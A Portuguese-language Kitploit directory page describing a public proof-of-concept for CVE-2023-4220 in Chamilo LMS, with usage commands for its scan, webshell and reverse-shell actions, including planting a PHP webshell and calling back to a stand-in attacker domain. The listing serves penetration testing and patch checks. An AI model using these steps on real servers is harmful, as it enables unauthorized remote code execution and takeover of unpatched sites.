Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
chamilo-lms-unauthenticated-big-upload-rce-poc — Este é um script escrito em Python que permite a exploração da falha de segurança do software LMS Chamilo descrita em CVE-2023-4220 | Kitploit
Ferramentas/GitHubGitHub/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubm3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc

chamilo-lms-unauthenticated-big-upload-rce-poc

Este é um script escrito em Python que permite a exploração da falha de segurança do software LMS Chamilo descrita em CVE-2023-4220

Ver Repositório
11há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC de RCE de Upload de Arquivo Grande Não Autenticado no Chamilo LMS

Este é um script escrito em Python que permite a exploração da falha de segurança do software LMS do Chamilo descrita em CVE-2023-4220. O sistema é vulnerável em versões anteriores à 1.11.24.

Uso

Clone o repositório para sua máquina e instale as dependências usando pip (é recomendado usar virtualenv para criar um ambiente e separar essas instalações das instalações globais)

git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt

O script precisa da URL alvo com o caminho raiz do Chamilo (como http://example.com/chamilo, http://example.com ou http://chamilo.example.com) e de uma ação a ser executada (há três disponíveis: scan, webshell e revshell).

Scan

Essa ação verificará se o alvo é vulnerável tentando acessar o endpoint /main/inc/lib/javascript/bigupload/files/.

python3 main.py -u http://example.com/chamilo -a scan

scan-demo

Webshell

Essa ação criará um arquivo webshell PHP no endpoint vulnerável.

python3 main.py -u http://example.com/chamilo -a webshell

webshell-demo

Revshell

Essa ação criará e executará um arquivo bash reverse shell. Para isso, um webshell será criado primeiro usando o mesmo método da ação anterior. Depois disso, alguns comandos serão executados para criar e executar o arquivo bash. Certifique-se de estar ouvindo na porta que você definiu com nc ou qualquer outro utilitário para realmente receber a conexão reversa. Além disso, o host pode ser um IPv4 interno/público válido (como 172.17.1.4 ou 186.227.4.31) ou o domínio que você registrou (como evil-vps.domainreg.net)

python3 main.py -u http://example.com/chamilo -a revshell

revshell-demo

OBS: Em breve adicionarei uma opção de payload Windows para hosts Windows

Referências

(CVE-2023-4220) Execução Remota de Código por Upload de Arquivo Grande Não Autenticado no Chamilo LMS

Baixar ferramenta